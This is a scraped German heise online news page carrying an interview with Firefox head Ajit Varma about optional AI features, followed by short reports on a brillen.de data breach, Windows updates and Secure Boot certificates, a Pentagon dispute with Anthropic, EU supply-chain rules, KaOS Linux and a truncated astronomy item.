Mozilla hat kürzlich einige Personalwechsel in der Führungsebene bekannt gegeben. Ajit Varma ist neu in seiner Rolle als Leiter von Firefox. Wir haben mit ihm über die Zukunft von Browsern im Zeitalter von KI, die Bedeutung von Vertrauen und die Positionierung von Firefox gesprochen.

heise online: Firefox wächst, zumindest die mobile Version des Browsers. Und es gab viele Veränderungen innerhalb von Mozilla. Tatsächlich gibt es derzeit mehr Browser als je zuvor. Wo positionieren Sie Firefox?

Ajit Varma: Es war ein interessantes Jahr, denn vor ein oder zwei Jahren hat noch niemand wirklich über Browser gesprochen. Dadurch wurden Browser kaum beachtet; die Leute nutzten einfach das, was mit ihrem Betriebssystem mitgeliefert wurde. Das Gute an der aktuellen Diskussion ist, dass Menschen nun tatsächlich darüber sprechen, welchen Browser sie verwenden sollten, und das bedeutet, dass sie sich Gedanken darüber machen, was der Vorteil von Firefox ist.

Ajit Varma, Head of Firefox

(Bild: Mozilla)

Was unseren Ansatz wirklich von vielen anderen Browsern unterscheidet, ist, dass wir keine eigenen LLMs entwickeln, die wir dann bewerben müssen. Wir arbeiten mit einigen LLM-Providern, die wir integrieren, ohne aber bestimmte LLMs zu priorisieren. Wenn man sich einige der neueren Browser ansieht, die auf den Markt gekommen sind, oder sogar bestehende Browser, gibt es einen großen Druck zur tiefen Integration der eigenen KI. Edge sieht aus wie eine CoPilot-App. Gemini wird tief in Chrome integriert. Und alle diese Browser erlauben Ihnen nur die Verwendung der einen KI, die ihr Unternehmen entwickelt hat. Bei Firefox hingegen legen wir großen Wert auf Auswahlmöglichkeiten. So wie Sie jede Suchmaschine auswählen können, können Sie auch zwischen mehreren KIs auswählen. Wir geben den Nutzern die Wahl.

Wenn Sie jedoch ein erfahrener Nutzer sind und Ihre eigene KI einbinden oder entwickeln möchten, können Sie diese sogar auch für bestimmte Funktionen in den Browser integrieren. Das ist ein großer Unterschied zwischen uns und anderen Browsern.

heise online: Einerseits reden viele Leute ständig über KI, andererseits gibt es aber auch viele, die von KI genervt sind. Sie wissen das wahrscheinlich am besten, weil es Proteste gab, als Sie KI in Firefox eingeführt haben. Warum mögen die Leute KI nicht oder wollen sie zumindest nicht in Firefox haben?

Ajit Varma: Ich denke, es gibt mehrere Gründe für die Bedenken gegenüber KI. Viele Firefox-Nutzer sind besorgt über die gesellschaftlichen Auswirkungen von KI – von Umweltbelangen über Datenschutz bis hin zum Verlust von Arbeitsplätzen.

Wir möchten den Nutzern klarmachen, dass sie bei Funktionen, die auf KI basieren, selbst entscheiden können, was sie nutzen möchten. Ein Nutzer könnte beispielsweise sagen, dass Übersetzungen für ihn wertvoll sind, er aber keine Zusammenfassungen möchte.

Oder sie können unsere kürzlich eingeführte Funktion „KI-Kontrolle” nutzen. Das ist ein einziger Schalter, mit dem ein Nutzer die gesamten KI-Funktionen ausschalten kann. Wir hören von vielen unserer Nutzenden, dass sie Sorge davor haben, dass wir ihnen die Nutzung von KI aufzwingen werden, aber das ist nicht der Fall. Die Nutzung von KI ist freiwillig, und wir versuchen, so transparent wie möglich zu sein. Nutzende werden vor die Wahl gestellt: Möchten Sie dies nutzen? Und dann versuchen wir auch weiterhin Datenschutzmethoden weiterzuentwickeln. Für Features wie Übersetzungen nutzen wir beispielsweise lokale Modelle und geben nichts an die Cloud weiter.

Lesen Sie auch

Mozilla führt Kill-Switch für alle KI-Features in Firefox 148 ein

Kommentar: Entwickler, wacht auf – oder verliert euren Job

Warum T-förmiges Wissen in Zeiten von KI wichtiger wird denn je

Top 7: Das beste Digitalradio mit DAB+ und ASA im Test

Top 10: Die beste Handykamera im Test

Top 10: Die beste kabellose Überwachungskamera

brillen.de: Kundendaten nach erneutem Angriff im Darknet aufgetaucht

2026-02-25T09:24:00+01:00

${intro} ${title}

${lead}

${intro} ${title}

${lead}

Bei brillen.de gab es erneut einen IT-Angriff. Dabei erbeuteten die Täter 1,5 Millionen Kundendatensätze. Die stehen nun im Darknet.

(Bild: heise medien)

09:24 Uhr

Lesezeit: 2 Min.

Security

Von

Dirk Knop

Der Anbieter brillen.de ist erneut Opfer eines IT-Angriffs geworden. Die Kriminellen konnten dabei abermals Kundendaten abgreifen. Dieses Mal sind Informationen von 1,5 Millionen Kunden betroffen. Mit den Daten lassen sich etwa gezieltere Phishing-Angriffe durchführen, aber auch Identitätsdiebstahl könnte damit möglich sein.

Auf der Webseite von brillen.de haben die Betreiber Supervista einen aktualisierten Hinweis veröffentlicht. Das Unternehmen schreibt dort: „Im Februar 2026 haben wir im Rahmen unseres kontinuierlichen Darknet-Monitorings festgestellt, dass Datensätze mit Kundeninformationen in einem Darknet-Forum veröffentlicht wurden.“ Die Untersuchungen hätten ergeben, dass diese Daten aus „einem separaten, gezielten Cyberangriff stammen, der im September 2025 stattfand.“ Unbefugte hätten sich Zugriff auf Kundendaten verschafft.

brillen.de-Datenleck: Betroffene Informationen

Laut brillen.de seien „personenbezogene Daten wie Name, Anschrift, E-Mail-Adresse, Telefonnummer sowie das Geburtsdatum betroffen“; Passwörter, Zahlungsdaten und Sehwerte waren demnach jedoch nicht in falsche Hände gelangt. Das stimmt auch mit den Angaben überein, die sich im Darknet bei dem Angebot finden. Am 12. Februar dieses Jahres hat ein Täter mit dem Handle „Meow“ die Daten von angeblich 1.531.618 Kunden dort eingestellt. Er erklärte dort zudem, dass es sich um einen neuen IT-Vorfall handelt. „3,5 Millionen Datensätze sind 2024 aus Elastic geleakt, und nicht in die Öffentlichkeit geleakt. Das hier ist ein Leck von Ende 2025 aus ihrem Panel. Die Originaldateien enthalten mehr als zwei Millionen Zeilen. Aber ich habe die analysiert und die Ergebnisdatei umfasst 1,5 Millionen Einträge“ schreibt der Täter im Untergrundforum dazu.

brillen.de gibt an, dass ein Passwortwechsel das Einfallstor für den oder die Angreifer gesichert habe. „Darüber hinaus haben wir umgehend weitere Sicherheitsmaßnahmen implementiert und externe IT-Forensik-Experten eingebunden“, erklärt das Unternehmen. Der Vorfall sei auch der Datenschutzaufsichtsbehörde gemeldet worden. „Wir empfehlen Ihnen, bei unerwarteten Kontaktaufnahmen besondere Vorsicht walten zu lassen und keine sensiblen Informationen weiterzugeben.“

Videos by heise

Bereits im Oktober 2024 gab es einen IT-Vorfall bei brillen.de, bei dem 3,5 Millionen Kundendatensätze offen im Netz zugreifbar waren. Eine Elasticsearch-Instanz des Unternehmens stand ohne vorgeschaltete Authentifizierung zugreifbar im Internet. Rund sechs Wochen später hat Supervista die Ergebnisse der damaligen Untersuchungen öffentlich gemacht.

(dmk)

Top 7: Das beste Digitalradio mit DAB+ und ASA im Test

Top 10: Die beste Handykamera im Test

Top 10: Die beste kabellose Überwachungskamera

Windows-Update-Vorschau: Neue Secure-Boot-Zertifikate, App-Backups und mehr

2026-02-25T08:37:00+01:00

${intro} ${title}

${lead}

${intro} ${title}

${lead}

Die Windows-Update-Vorschau im Februar ist umfangreich. Es gibt etwa neue Secure-Boot-Zertifikate und App- und Einstellungs-Backups.

(Bild: heise online / dmk)

08:37 Uhr

Lesezeit: 4 Min.

Security

Von

Dirk Knop

In der Nacht zum Mittwoch dieser Woche hat Microsoft die Update-Vorschau für Windows 11 veröffentlicht. Sie fällt im Februar recht umfangreich aus. Die Aktualisierung bringt unter anderem neue Secure-Boot-Zertifikate und führt Wiederherstellungsfunktionen für das Windows-Backup für Organisationen ein.

Die Details der Änderungen mit den Updates listet Microsoft im Knowledgebase-Eintrag KB5077241 auf. Nach der Installation steht Windows 11 auf den Build-Nummern 26200.7922 (Windows 11 25H2) oder 26100.7922 (Windows 11 24H2). Eigentlich soll die Update-Vorschau nicht sicherheitsrelevante Bestandteile der Updates des kommenden Microsoft-Patchdays einem größeren Test unterziehen. Im Februar gehören jedoch auch aktualisierte Secure-Boot-Zertifikate zur Liste der aktualisierten Komponenten. Die alten laufen im Juni dieses Jahres aus, die neuen werden nun auf mehr Maschinen verteilt. Außerdem haben die Entwickler an der Zuverlässigkeit der BitLocker-Laufwerksverschlüsselung gearbeitet. Jetzt sollen Systemhänger nach Eingabe des BitLocker-Wiederherstellungsschlüssels nicht mehr auftreten.

Update-Bestandteile auch für Unternehmenskunden

Bestandteil von Windows Backup für Organisationen ist auch die Wiederherstellung der Apps aus dem Microsoft Store sowie deren Einstellungen. Das hat Microsoft etwa für den reibungslosen Umzug von Windows 10 auf Windows 11 angepriesen. Beim ersten Login auf Geräten, die an Microsoft Entra angebunden sind, auf Cloud-PCs und in Mehrbenutzerumgebungen startet nun der zugehörige Wiederherstellungsprozess, sodass Nutzer und Nutzerinnen auch auf neuen PCs die gewohnte Umgebung vorfinden. Die „schnelle Systemwiederherstellung“ (Quick Machine Recovery, QMR) schaltet Microsoft nun auf Windows-Pro-Ausgaben scharf, die nicht in einer Organisationsumgebung oder Domäne verwaltet werden. Sollte ein Rechner nicht mehr starten, weil etwa ein Treiber einer Sicherheitslösung wie der von Crowdstrike Mitte 2024 millionenfach den Startvorgang verhindert, startet dadurch die Windows-Wiederherstellungsumgebung, verbindet sich ins Netz und übermittelt Diagnose-Daten. Daraufhin soll sie Lösungen anwenden, die den Rechner wieder normal starten lassen.

Die Update-Vorschau bringt zudem Funktionen mit, die erst vergangene Woche in der Windows-Insider-Vorschau im Release-Vorschau-Kanal gelandet sind. Dazu gehört ein Geschwindigkeitstest für die Netzwerkverbindung, der sich direkt aus der Taskleiste über einen Rechtsklick auf das Netzwerksymbol starten lässt. Neben einem stilisierten Tachometer-Symbol lautet der neue Eintrag „Geschwindigkeitstest durchführen“. Etwas unerwartet startet das lediglich eine Bing-Suche im Standardbrowser nach „Speed Test“, wobei sich ähnlich wie bei der Google-Suche nach dem Begriff ein direkt auf der Ergebnisseite eingebetteter Speedtest starten lässt. Ebenfalls an Bord ist nun die native Sysmon-Unterstützung, wodurch das Überwachungs- und Debugging-Tool direkt als Windows-Zusatzfunktion installiert werden kann.

Mehr Werbung

Weitere Änderungen fallen dahinter etwas zurück. Mehr Werbung im Betriebssystem verkauft Microsoft als Verbesserung im Konto-Menü des Startmenüs, in dem eine „Benefits-Seite“ nun die Übersicht und Verwaltung der Benefits des Microsoft-Kontos ermöglicht. Die Kamera-Einstellungen ermöglichen die Konfiguration von Pan und Tilt bei unterstützten Kameras. Widget-Einstellungen öffnen jetzt eine ganze Seite, anstatt nur einen Einstellungsdialog anzuzeigen. Desktop-Hintergründe können im WebP-Format vorliegen.

Für Windows 11 auf ARM-Prozessoren macht Microsoft nun auch Remote Server Administration Tools (RSAT) verfügbar. Damit lassen sich Active Directory Domain Services und LDAP-Service-Tools und weitere installieren. Die Windows-Update-Seite in den Systemeinstellungen soll schneller reagieren. Auch Nearby-Sharing soll mit größeren Dateien verlässlicher sein.

Videos by heise

Das Update erhalten Windows-11-Installationen automatisch, sofern die Option „Erhalten Sie die neuesten Updates, sobald sie verfügbar sind“ auf der Windows-Update-Einstellungsseite aktiviert wurde. Ansonsten bietet die Suche nach Updates die Aktualisierung als optionales Update an.

(dmk)

Top 7: Das beste Digitalradio mit DAB+ und ASA im Test

Top 10: Die beste Handykamera im Test

Top 10: Die beste kabellose Überwachungskamera

Zentrale Datenspeicherung: Streit um 73 Millionen Versichertendaten geht weiter

2026-02-25T08:00:00+01:00

${intro} ${title}

${lead}

${intro} ${title}

${lead}

Die Klage der Gesellschaft für Freiheitsrechte gegen die zentrale Speicherung von 73 Millionen Gesundheitsdaten geht weiter. Zuvor war sie ruhend gestellt.

(Bild: PopTika/Shutterstock.com)

08:00 Uhr

Lesezeit: 3 Min.

Von

Marie-Claire Koch

Die Klage gegen die zentrale Speicherung der Gesundheitsdaten aller gesetzlich Versicherten wird weitergeführt. Die Gesellschaft für Freiheitsrechte (GFF) und Constanze Kurz, Sprecherin des Chaos Computer Clubs (CCC), haben beim Sozialgericht Berlin weitere Schriftsätze eingereicht. Das Verfahren hatte seit Februar 2023 geruht, weil das zuständige Forschungsdatenzentrum Gesundheit (FDZ Gesundheit) zunächst nicht arbeitsfähig war.

Pseudonymisierung nicht ausreichend

Im Kern richtet sich die Klage gegen das beim Bundesinstitut für Arzneimittel und Medizinprodukte (BfArM) angesiedelte FDZ Gesundheit, das Abrechnungsdaten von rund 73 Millionen gesetzlich Versicherten nach eigenen Angaben pseudonymisiert und zentral sammelt und für Forschungszwecke bereitstellt. Die Daten werden seit 2022 in einer zentralen Datenbank zusammengeführt, jährlich ergänzt und sollen bis zu 100 Jahre gespeichert werden. „Die verlängerte Speicherdauer vergrößert die Menge der gespeicherten Daten, macht die Datensammlung damit noch wertvoller, und erhöht so das Missbrauchsrisiko“, sagte die GFF gegenüber heise online.

Lesen Sie auch

Constanze Kurz vom CCC: Mehrheit weiß nichts von Weitergabe von Gesundheitsdaten

Top 7: Das beste Digitalradio mit DAB+ und ASA im Test

Top 10: Die beste Handykamera im Test

Top 10: Die beste kabellose Überwachungskamera

KI-Technik: Pentagon stellt Anthropic ein Ultimatum und droht mit Kriegsgesetz

2026-02-25T06:57:00+01:00

${intro} ${title}

${lead}

${intro} ${title}

${lead}

Das US-Verteidigungsministerium verlangt einen unbegrenzten Zugang zu Anthropics Claude-KI. Dafür hat das Pentagon der KI-Firma jetzt ein Ultimatum gestellt.

112

(Bild: Michele Ursi/Shutterstock.com)

06:57 Uhr

Lesezeit: 3 Min.

Von

Martin Holland

Im Streit mit Anthropic hat das US-Verteidigungsministerium jetzt angeblich ein Ultimatum bis Freitag gestellt und dem KI-Unternehmen mit schwerwiegenden Konsequenzen gedroht, wenn es die Forderungen bis dahin nicht erfüllt. Das berichtet jedenfalls das US-Magazin Axios unter Berufung auf eingeweihte Personen nach einem Treffen von US-Verteidigungsminister Pete Hegseth mit Anthropic-Chef Dario Amodei am Dienstag. Sollte der dem US-Militär keinen uneingeschränkten Zugriff auf die hauseigene KI geben, werde Anthropic entweder zu einem Risiko für die Lieferketten erklärt oder per Defense Production Act (DPA) dazu gezwungen, eine Version fürs Militär freizugeben, zitiert Axios.

Gesetz für die Produktion von Kriegsgütern gedacht

Während das erste Szenario nicht neu ist – auch wenn die Einstufung als Lieferkettenrisiko bislang ausländischen Gegnern vorbehalten war –, ist die Alternative nicht minder außergewöhnlich: Der Defense Production Act soll es der US-Regierung eigentlich ermöglichen, die Produktion kriegswichtiger Güter anzuordnen. Angewandt wurde es in jüngster Vergangenheit aber unter anderem auch im Rahmen der Corona-Pandemie, um die Herstellung medizinischer Geräte und Artikel zu forcieren. Der Einsatz in einem Streit um Grenzen für KI-Systeme wäre eine merkliche Ausweitung der Tragweite des Gesetzes. Die KI-Branche wurde mithilfe des DPA aber bereits auch zu Sicherheitsmaßnahmen beim Training ihrer Modelle verpflichtet.

Trotz dieser Eskalation vonseiten der US-Regierung hat Anthropic bisher nicht erkennen lassen, den Forderungen nachkommen zu wollen. Die KI-Firma will es dem Verteidigungsministerium nicht gestatten, die eigene KI-Technik für die Massenüberwachung der US-Bevölkerung zu nutzen. Zudem dürften damit keine Waffen entwickelt werden, die ohne menschliche Beteiligung feuern. Das Ministerium drängt trotzdem auf die Freigabe, weil es keine vergleichbare Alternative zu Anthropic hat. „Der einzige Grund, warum wir mit diesen Leuten noch reden, ist, dass wir sie brauchen, und zwar jetzt“, zitiert das Magazin jemanden aus dem Ministerium. „Das Problem für diese Leute ist, dass sie so gut sind“, heißt es weiter.

Videos by heise

Anthropic ist eines von vier KI-Unternehmen, denen das Pentagon im Sommer jeweils bis zu 200 Millionen US-Dollar für die Entwicklung agentischer KI-Arbeitsabläufe zugesagt hat. Diesen Vertrag droht das US-Verteidigungsministerium nun zu kippen, sollte die Firma den Forderungen nicht nachkommen. Das wäre für Anthropic deutlich weniger problematisch als die Eskalation. Die Einstufung als Risiko für die Lieferketten würde andere Unternehmen vor die Wahl stellen, entweder mit dem US-Militär oder mit Anthropic Geschäfte zu machen. Diese Entscheidung wäre wahrscheinlich nicht schwer. Gleichzeitig hieß es aus dem US-Verteidigungsministerium aber auch schon, dass Anthropics KI nur enorm mühsam aus den eigenen Systemen zu entfernen wäre.

(mho)

Top 7: Das beste Digitalradio mit DAB+ und ASA im Test

Top 10: Die beste Handykamera im Test

Top 10: Die beste kabellose Überwachungskamera

EU streicht Lieferkettengesetz massiv zusammen

2026-02-24T19:20:00+01:00

${intro} ${title}

${lead}

${intro} ${title}

${lead}

Mit dem „Omnibus I“-Paket senkt der EU-Rat final die bürokratischen Hürden und schont den Mittelstand durch höhere Schwellenwerte und weniger Berichtspflichten.

(Bild: PP Photos / Shutterstock.com)

24.02.2026, 19:20 Uhr

Lesezeit: 4 Min.

Von

Stefan Krempl

Der EU-Rat hat den Forderungen nach einer „Vereinfachungsrevolution“ nachgegeben und nach dem Parlament das „Omnibus I“-Paket endgültig gebilligt. Betroffen ist etwa das EU-Lieferkettengesetz: Was als Prestigeprojekt für mehr globale Verantwortung startete, wird damit erheblich eingedampft. Vor allem kleine und mittlere Unternehmen (KMU) sollen durch die neuen Beschlüsse spürbar entlastet werden: Die EU-Staaten haben die Schwellenwerte für die Berichts- und Sorgfaltspflichten massiv nach oben geschraubt.

Die Kernstücke der europäischen Nachhaltigkeitsregulierung, die Corporate Sustainability Reporting Directive (CSRD) und die Corporate Sustainability Due Diligence Directive (CS3D), erhalten mit der am Dienstag final bestätigten Reform ein neues Gesicht. Besonders deutlich fällt die Korrektur beim Lieferkettengesetz (CS3D) aus. Hier greifen die Regeln künftig erst ab einer Marke von 5000 Beschäftigten und einem Nettoumsatz von 1,5 Milliarden Euro. Laut dem Berichterstatter des EU-Parlaments, Jörgen Warborn (EVP), fallen damit rund 85 Prozent der ursprünglich erfassten Firmen aus dem Anwendungsbereich. Schätzungen zufolge sollen nur noch rund 1500 Konzerne betroffen seien.

Die Logik dahinter: Nur die großen Player verfügen laut dem Ministerrat über den nötigen Hebel, um tiefgreifenden Einfluss auf globale Wertschöpfungsketten auszuüben und die enormen Kosten der Überwachungsprozesse zu schultern. Damit reagiert Brüssel auf die Kritik, dass kleine Zulieferer durch den sogenannten „Trickle-down-Effekt“ indirekt erdrückt würden, wenn Großkonzerne jede Information bis zum kleinsten Glied der Kette lückenlos abfragten.

Mit der Richtlinie werden betroffene Unternehmen generell verpflichtet, ihre negativen Auswirkungen auf Menschenrechte und Umwelt wie Kinderarbeit, Sklaverei, Arbeitsausbeutung, Verschmutzung, Entwaldung, übermäßigen Wasserverbrauch oder die Schädigung von Ökosystemen abzumildern. Zuvor traten etwa bei Apple, Samsung & Co. mehrfach Missstände in den Lieferketten zutage.

Pragmatismus statt Paragrafendschungel

Bei den Regeln zur Nachhaltigkeitsberichterstattung (CSRD) haben die EU-Gesetzgebungsgremien den Anwendungsbereich ebenfalls verengt. Künftig müssen nur noch Unternehmen mit mehr als 1000 Mitarbeitern und einem Jahresumsatz von über 450 Millionen Euro die komplexen Berichte vorlegen. Für Firmen aus Drittstaaten gelten auch verschärfte Umsatzgrenzen, was den bürokratischen Filter für den europäischen Markt vergrößert.

Lesen Sie auch

Zu viel Bürokratie: Merz fordert Abschaffung des EU-Lieferkettengesetzes

Knappe Mehrheit: EU-Parlament stimmt für aufgeweichtes Lieferkettengesetz

Nachhaltigkeit: Die ESG-Berichtspflichten kommen

Top 7: Das beste Digitalradio mit DAB+ und ASA im Test

Top 10: Die beste Handykamera im Test

Top 10: Die beste kabellose Überwachungskamera

Microsoft-Anleitung für Secure-Boot-Zertifikate von Windows Servern

2026-02-24T14:25:00+01:00

${intro} ${title}

${lead}

${intro} ${title}

${lead}

Microsofts Secure-Boot-Zertifikate laufen im Juni aus und müssen ersetzt werden. Microsoft gibt Server-Admins eine Handreichung.

(Bild: Dirk Knop / heise medien)

24.02.2026, 14:25 Uhr

Lesezeit: 2 Min.

Security

Von

Dirk Knop

Microsoft hat ein „Playbook“ für den Umgang mit den im Juni 2026 auslaufenden Secure-Boot-Zertifikaten von Windows Servern herausgegeben. Es soll IT-Verantwortlichen in Organisationen helfen, die Zertifikate unter Windows-Server-Versionen auszutauschen, bevor sie im Juni ablaufen.

Ein aktueller Blog-Beitrag in Microsofts Techcommunity erklärt verfügbare Werkzeuge und Optionen. Die Autoren schränken ein, dass die Anleitung nicht auf Azure Local-Hosts, Windows-PCs oder Hyper-V-VMs der ersten Generation anwendbar ist.

Ablaufende Zertifikate: Manuelle Eingriffe nötig

Microsoft erklärt, dass die Secure-Boot-Zertifikate mit einer vordefinierten Laufzeit versehen sind, wie andere kryptografische Objekte auch. Der periodische Austausch helfe, aktuelle Sicherheitsanforderungen zu erfüllen. Daher müssen Organisationen sicherstellen, dass die Secure-Boot-CAs aus 2023 auf den Windows-Server-Systemen vorhanden sind, bevor die alten CAs aus dem Jahr 2011 ablaufen. „Systeme mit den CAs von 2011 laufen nach Juni 2026 Gefahr, mit einem geringeren Sicherheitsstatus zu arbeiten“, führen die Autoren aus.

Windows Server 2025 auf zertifizierten Server-Plattformen bringt bereits die 2023er-Zertifikate in der Firmware mit. Auf Servern, bei denen das nicht der Fall ist, müssen IT-Verantwortliche die Zertifikate manuell aktualisieren, da Windows Server sie nicht automatisch erhält. Anders als Windows-PCs, die die Secure-Boot-Zertifikatsupdates als Teil des Controlled Feature Rollout (CFR) im Rahmen der monatlichen Updates erhalten, erfordern Windows Server manuelle Eingriffe.

Microsoft liefert dann eine schrittweise, nachvollziehbare Anleitung. Sie beginnt mit Inventur und Vorbereitung der Umgebung. Anschließend geht sie weiter zur Überwachung und Prüfung des Secure-Boot-Status der Geräte und darauffolgend hin zur Anwendung benötigter OEM-Firmware-Updates vor den Zertifikatsaktualisierungen. Daran schließt sich die Planung und Begleitung der Secure-Boot-Zertifikatsverteilung an und schließlich endet sie mit Problemlösungen und dem Beheben üblicher Probleme.

Videos by heise

Admins mit Windows-Servern im Netzwerk sollten die Anleitung studieren und deren Umsetzung in absehbarer Zeit in Angriff nehmen. Für Windows-Desktop-Systeme hat Microsoft bereits Ende Januar mit der Verteilung von aktualisierten Secure-Boot-Zertifikaten begonnen. Mit der Sensibilisierung für den anstehenden Zertifikatsaustausch hat Microsoft zudem bereits im Juni vergangenen Jahres angefangen.

(dmk)

Top 7: Das beste Digitalradio mit DAB+ und ASA im Test

Top 10: Die beste Handykamera im Test

Top 10: Die beste kabellose Überwachungskamera

Linux-Distribution KaOS wirft KDE Plasma raus

2026-02-24T13:29:00+01:00

${intro} ${title}

${lead}

${intro} ${title}

${lead}

Die Linux-Distribution KaOS hat bislang stets auf aktuelles KDE Plasma für den Desktop gesetzt. Das ändert sich nun.

(Bild: heise medien)

24.02.2026, 13:29 Uhr

Lesezeit: 3 Min.

Von

Dirk Knop

Die in der vergangenen Woche erschienene Linux-Distribution KaOS 2026.02 bringt eine bemerkenswerte Änderung: Sie lässt die Unterstützung für KDE Plasma fallen. Das war bislang die einzig verfügbare Desktopumgebung. Jetzt setzt KaOS auf niri als Wayland-Compositor und Noctalia als Shell.

Das schreiben die KaOS-Entwickler in der Versionsankündigung. „Ihr werdet in diesem ISO kein Plasma oder Kwin finden, obwohl KaOS immer eine reine KDE-Plasma-Distribution war. Stattdessen werdet ihr ein niri/Noctalia-basiertes System vorfinden“, erklären sie dort. Als Begründung geben die Programmierer an, dass der Wunsch ins Spiel kam, sich von systemd zu lösen. Sie arbeiten demnach daran, die Machbarkeit des Wechsels zu Dinit für die Distribution zu prüfen. Dafür müssen sie jedoch Plasma ersetzen, da es stark auf systemd setzt – und das ihren Angaben zufolge in absehbarer Zeit sogar mandatorische und nicht nur optionale Voraussetzung werden soll. Allerdings kommt derzeit noch immer systemd zum Einsatz.

KaOS bleibt Qt-basiert

Die Versuche mit der Noctalia-Shell hätten sich als schöne Option erwiesen. Das bedeute zugleich, dass KaOS weiterhin auf Qt fokussiert bleiben kann. Daher kommt KaOS 2026.02 weiterhin ohne GTK und bringt Qt-/KDE-basierte Apps mit. Hinter niri verbirgt sich ein scrollbarer, Tile-basierter Wayland-Compositor. Quickshell ist ein flexibles Toolkit zum Erstellen von Desktop-Shells mit QtQuick für Wayland. Die Noctalia-Shell stellt eine minimalistische Desktop-Shell für Wayland bereit.

Als Bootloader kommt standardmäßig Limine zum Zuge. Weitere Optionen für UEFI-Installationen sollen über Calamares verfügbar bleiben, jedoch hat Limine nun systemd-boot als Standard ersetzt. Für die Desktop-Shells kommen niri (Version 25.11), Noctalia (4.4) sowie Quickshell (0.2.1) mit. Die Entwickler haben sie auf Qt 6.10.2 gebaut. Zur Komplettierung des Setups installiert KaOS Optionen wie cliphist, ddcutil, pavucontrol-qt und xwayland-satellite.

Auch wenn sich die KaOS-Maintainer von systemd lösen wollen, haben sie die inzwischen in die Jahre gekommene Version 254 ersetzt. Die ISO-Erstellung mit der jüngsten Version 257 schlug immer wieder fehl, sodass jetzt 255.22 mitkommt; die Installationen werden dann auf systemd 257.10 gehievt.

Videos by heise

Das Basissystem ist ebenfalls auf neuerem Stand: GCC 15.2.1, Glibc 2.42 und Binutils 2.45.1, Opencv 4.12.0, Poppler 26.02.0, Gstreamer 1.28, Pipewire 1.4.9, ZFS 2.4.0, CMake 4.2, OpenSSH 10.2, Bash 5.3, Protobuf 33.5 und Mesa 25.3.5 sind nun aktuell auf dem ISO enthalten. Als Kernel kommt Linux 6.18.10 zum Einsatz. Weitere Details liefert die Versionsankündigung. Aktuelle ISO-Abbilder stellt das KaOS-Projekt auf seiner Download-Seite zum Herunterladen bereit.

Die Abkehr von KDE Plasma ist ein bedeutsamer Schritt. Bislang gehörte KaOS zu den Distributionen, die früh neue Plasma-Versionen integrierten und daher gerne für Tests damit genutzt wurden. So brachte etwa KaOS 2024.01 schon Plasma 6 mit, als es noch offiziell eine Vorschauversion war.

(dmk)

Top 7: Das beste Digitalradio mit DAB+ und ASA im Test

Top 10: Die beste Handykamera im Test

Top 10: Die beste kabellose Überwachungskamera

Microsoft beendet Unterstützung für Windows-Versionen aus 2016

2026-02-24T11:23:00+01:00

${intro} ${title}

${lead}

${intro} ${title}

${lead}

Windows-Versionen aus 2016 erhalten in Kürze keinen Support mehr. Erweiterte Sicherheits-Updates (ESU) sind jedoch in Planung.

(Bild: charnsitr / Shutterstock.com)

11:23 Uhr

Lesezeit: 2 Min.

Security

Von

Dirk Knop

Microsoft beendet den Support für drei Windows-Produkte, die im Jahr 2016 erschienen sind. Das nahende Aus lässt sich etwa mit erweiterten Sicherheits-Updates (ESU) hinauszögern – natürlich mit einem Preis verbunden.

Im Windows-Release-Health-Message-Center hat Microsoft das angekündigt. Ein Blog-Beitrag im Windows-IT-Pro-Blog geht auf die Details ein. Demnach läuft der offizielle Support zehn Jahre nach Erscheinen für Windows 10 Enterprise LTSB 2016, Windows 10 IoT Enterprise 2016 LTSB (beide am 13. Oktober 2026) sowie für Windows Server 2016 (am 12. Januar 2027) aus. Das sind die Daten der jeweils letzten Sicherheits-Updates, die Maschinen mit diesen Windows-Versionen offiziell erhalten. „Danach erhalten diese Geräte keine Windows-Sicherheits-Updates, non-Security-Updates, Fehlerkorrekturen, technischen Support oder Updates für technische Inhalte mehr“, schreibt Microsoft. Es gebe aber gute Neuigkeiten: Wer zusätzliche Zeit benötige, könne das ESU-Programm nutzen.

ESU: Preise teils noch nicht bekannt

Im Rahmen des ESU können Interessierte monatliche Sicherheitsupdates für bis zu weitere drei Jahre bei Microsoft einkaufen. Neue Funktionen, Verbesserung der Qualität oder Designänderungen fallen nicht darunter, ebenso gibt es keinen weiteren technischen Support für die betroffenen Windows-Versionen. Für Windows Server 2016 muss Microsoft noch Preise ausknobeln. Windows IoT Enterprise LTSB 2016 ist ausschließlich über die OEMs der Geräte erhältlich – die bestimmen auch Preis und Verfügbarkeit.

Für Windows 10 Enterprise 2016 LTSB sollen ab dem zweiten Quartal 2026 ESU-Lizenzen für 61 US-Dollar je Maschine und Jahr verfügbar werden. Wer die Geräte mit Intune oder Autopatch verwaltet, erhält einen rabattierten Preis von 45 US-Dollar. Jedes Jahr verdoppelt sich der jedoch – wer sich also erst im zweiten Jahr dazu entscheidet, Maschinen mit einer ESU-Lizenz auszustatten, zahlt das erste Jahr trotzdem mit. Preise in Euro nennt Microsoft noch nicht.

Videos by heise

Microsoft empfiehlt Betroffenen, auf Windows Server 2025, Windows 11 Enterprise LTSC 2024 oder Windows 11 IoT Enterprise LTSC 2024 zu aktualisieren und damit länger offizielle Unterstützung einschließlich technischen Support zu erhalten.

Mit dem Support-Ende dieser Windows-Versionen dürften die meisten IT-Verantwortlichen Übung haben. Das offizielle Support-Aus für Windows 10 zum 14. Oktober 2025 hatte großen Handlungsbedarf erzeugt. Microsoft lieferte da zudem Hinweise und Tipps.

(dmk)

Top 7: Das beste Digitalradio mit DAB+ und ASA im Test

Top 10: Die beste Handykamera im Test

Top 10: Die beste kabellose Überwachungskamera

Außergewöhnliche Supernova soll bei der Auflösung der „Hubble-Spannung“ helfen

2026-02-24T11:20:00+01:00

${intro} ${title}

${lead}

${intro} ${title}

${lead}

Die Kosmologie rätselt, warum zwei Methoden zur Vermessung der Expansion des Kosmos verschiedene Ergebnisse liefern. Jetzt soll eine dritte Methode helfen.

Die beiden Vordergrundgalaxien (in gelb) und fünfmal die Supernova (in blau)

(Bild: © SN Winny Research Group)

11:20 Uhr

Lesezeit: 3 Min.

Von

Martin Holland

